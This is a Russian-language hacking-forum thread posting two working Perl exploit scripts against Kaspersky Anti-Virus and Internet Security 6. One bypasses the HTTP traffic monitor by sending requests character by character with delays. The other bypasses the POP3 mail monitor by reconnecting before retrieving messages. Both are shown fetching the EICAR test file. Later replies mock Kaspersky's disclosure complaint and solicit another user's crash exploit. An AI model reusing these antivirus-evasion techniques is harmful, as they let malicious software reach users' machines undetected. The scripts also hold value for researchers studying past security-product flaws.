• XSS.stack #1 – первый литературный журнал от юзеров форума

Local Уязвимости: Kaspersky antivirus

Ŧ1LAN

CPU register
Пользователь
Регистрация
19.12.2005
Сообщения
1 057
Решения
1
Реакции
6
Kaspersky6-http
Узявимые программы:
Kaspersky antivirus 6
Kaspersky internet security 6
Описание:
Уязвимость вызвана из-за HTTP парсинг ошибок в мониторе HTTP. Любое вредоносное ПО на локальном компе может обойти вирусный монитор HTTP.
Эксплоит:
Код:
This perl script could be run with ActiveState Perl 5.8:

use IO::Socket::INET;
use strict;

my( $h_srv, $h_port, $h_url ) = ( 'www.eicar.com', 'http(80)',
                                  'http://www.eicar.com/download/eicar.com' );

syswrite STDOUT, "connecting to $h_srv:$h_port (for $h_url)\n";

my $s = IO::Socket::INET->new( PeerAddr => $h_srv,
                               PeerPort => $h_port,
                               Proto    => 'tcp' );
die "socket: $!" unless $s;

sendthem( $s,
          "GET $h_url HTTP/1.1",
          "Host: $h_srv",
          ""
    );
my $doc = read_body( $s, read_headers( $s ) );
syswrite STDOUT,
    'document is <'.$doc.'> len='.length($doc)."\n";

sub sendthem {
    my $s = shift;
    my $c = 0;
    foreach( @_ ) {
        my @a = split //, $_;
        ++$c;
        syswrite STDOUT, "query $c: ";
        foreach( @a ) {
            sendone( $s, $_ );
        }
        sendone( $s, "\r" );
        sendone( $s, "\n" );
    }
}

sub sendone {
    my( $s, $v ) = @_;
    $s->syswrite( $v );
    syswrite STDOUT, $v;
# !!! comment next line to have monitoring working;)
    select( undef, undef, undef, 0.300 );
}

sub read_headers {
    my( $s ) = @_;
    my( $c, $cl ) = ( 0, 0 );
    for(;; ) {
        my $l = read_line( $s );
        ++$c;
        syswrite STDOUT, "header $c: $l";
        syswrite STDOUT, "\r\n";
        last if not $l and $c;
        $cl = $1 if $l =~ /^Content-Length:\s+(\d+)/;
    }
    $cl;
}

sub read_line {
    my( $s ) = @_;
    my $str = '';
    for(;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        die 'EOF reading headers!' unless $r;
        last if $v eq "\n";
        next if $v eq "\r";
        $str .= $v;
    }
    return $str;
}

sub read_body {
    my( $s, $cl ) = @_;
    my( $str, $cli ) = ( '', $cl );
    syswrite STDOUT, "reading body <content-length: $cli> ...\n"; 
    for(;; ) {
        my $v = '';
        my $r = $s->sysread( $v, 1 );
        last unless $r;
        $str .= $v;
        --$cl if $cli;
        last if not $cl and $cli;
    }
    return $str;
}
:zns2: Производитель
 
как отреагировала лаборатория касперского на эту багу(которая постом выше) вы можете почитать здесь.
А мы пока рассмотрим ещё кой чё ;)
----------------------------------------------------------------------------------------------
Уязвимые программы: всё теже (KAV6, KIS6)
Описание:
Суть баги состоит в том что любое вредоносное ПО на локальном компе может обойти POP3 монитор(Kaspersky Mail-antivirus)
Эксплоит:
Положите eicar.com в ваш почтовый ящик,обзоватие тему как 'eicar', немного откоректируйте этот пёрловый скриптик (смените POP3-server адрес, имя вашего акка и пас) и запускайте этот скрипт с ActiveState Perl 5.8
Код:
#! /usr/bin/perl -w

use IO::Socket::INET;
use strict;

my( $h_srv, $h_port, $h_user, $h_pwd ) = ( YOUR.POP3.SERVER.IP/FQDN, 'pop(110)',
                                           YOUR-ACCOUNT, YOUR-PASSWORD );
my( $g_str, $g_trc_out, $g_trc_in ) = ( '', 0, 0 );

my $server = pop3_connect();

sendthem( $server, "LIST" );
die "bad LIST command: $g_str" unless read_line( $server ) =~ /^\+OK/;

my @lst;
for(;; ) {
    my $str = read_line( $server );
    last if $str =~ /^.$/;
    push @lst, $1 if $str =~ /^(\d+)\s+/;
}
syswrite STDOUT, "msgs: ".(join ' ', @lst)."\n";

# !!! comment next line to have it working;)
$server = pop3_connect( $server );

foreach( @lst ) {
    my $uidl = $_;
    sendthem( $server, "RETR $uidl" );
    die "bad RETR command: $g_str" unless read_line( $server ) =~ /^\+OK/;
    my $msg = '';
    for(;; ) {
        my $str = read_line( $server );
        last if $str =~ /^.$/;
        $msg .= $str."\n";
    }
    syswrite STDOUT, "got: $uidl (".(length $msg)." bytes)\n";
    syswrite STDOUT, $msg if $msg =~ /eicar/i;
}

sub pop3_connect {
    my( $sock ) = @_;

    syswrite STDOUT, "connecting to $h_srv:$h_port (as $h_user)\n";

    $sock->close if $sock;
    $sock = IO::Socket::INET->new( PeerAddr => $h_srv,
                                   PeerPort => $h_port,
                                   Proto    => 'tcp' );
    die "socket: $!" unless $sock;
    die "wrong answer: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    sendthem( $sock, "USER $h_user" );
    die "bad account: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    sendthem( $sock, "PASS $h_pwd" );
    die "bad password: $g_str" unless read_line( $sock ) =~ /^\+OK/;
    $sock;
}

sub sendthem {
    my $sock = shift;
    foreach( @_ ) {
        my @a = split //, $_;
        syswrite STDOUT, "cln: " if $g_trc_out;
        foreach( @a ) {
            sendone( $sock, $_ );
        }
        sendone( $sock, "\r" );
        sendone( $sock, "\n" );
    }
}

sub sendone {
    my( $sock, $v ) = @_;
    die "send: " if length $v != $sock->syswrite( $v );
    syswrite STDOUT, $v if $g_trc_out;
}

sub read_line {
    my( $sock ) = @_;
    my $str = '';
    for(;; ) {
        my $v = '';
        my $r = $sock->sysread( $v, 1 );
        die 'EOF reading headers!' unless $r;
        last if $v eq "\n";
        next if $v eq "\r";
        $str .= $v;
    }
    syswrite STDOUT, "srv: $str\r\n" if $g_trc_out;
    $g_str = $str;
}
 
как отреагировала лаборатория касперского на эту багу(которая постом выше) вы можете почитать здесь.


В описанной выше ситуации нас удивили поступки человека, нашедшего эту ошибку. В силу своей профессиональной деятельности он наверняка знаком с негласной практикой и этикой поведения в подобных ситуациях — о найденной уязвимости принято уведомлять разработчиков и давать им не менее 7 дней на исправление ошибки. Но, несмотря на это, исследователь опубликовал информацию об уязвимости без предварительного контакта с «Лабораторией Касперского».

"Лаборатория Касперского" не знает кто такие блек-хеты :)
 
У меня есть сплоит который вышибает все версии каспера причем так что надо ребутаться...а касперовцы сказали мол нне пашет нифуя дяденька )
Так может поделитесь вашим сплоетом =) мы тут его заценим и лучше дяденьки Касперского скажем пашет или не пашет. =)
 
http://forum.kaspersky.com/index.php?showtopic=14836&st=80

конкретно фича удаления существует хрен знает сколько, возможно ее просто адаптировали для 6 версии или нашли случайно - не важно. Важно что Касперы "подосрали" всем остальным разработчикам АВ.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх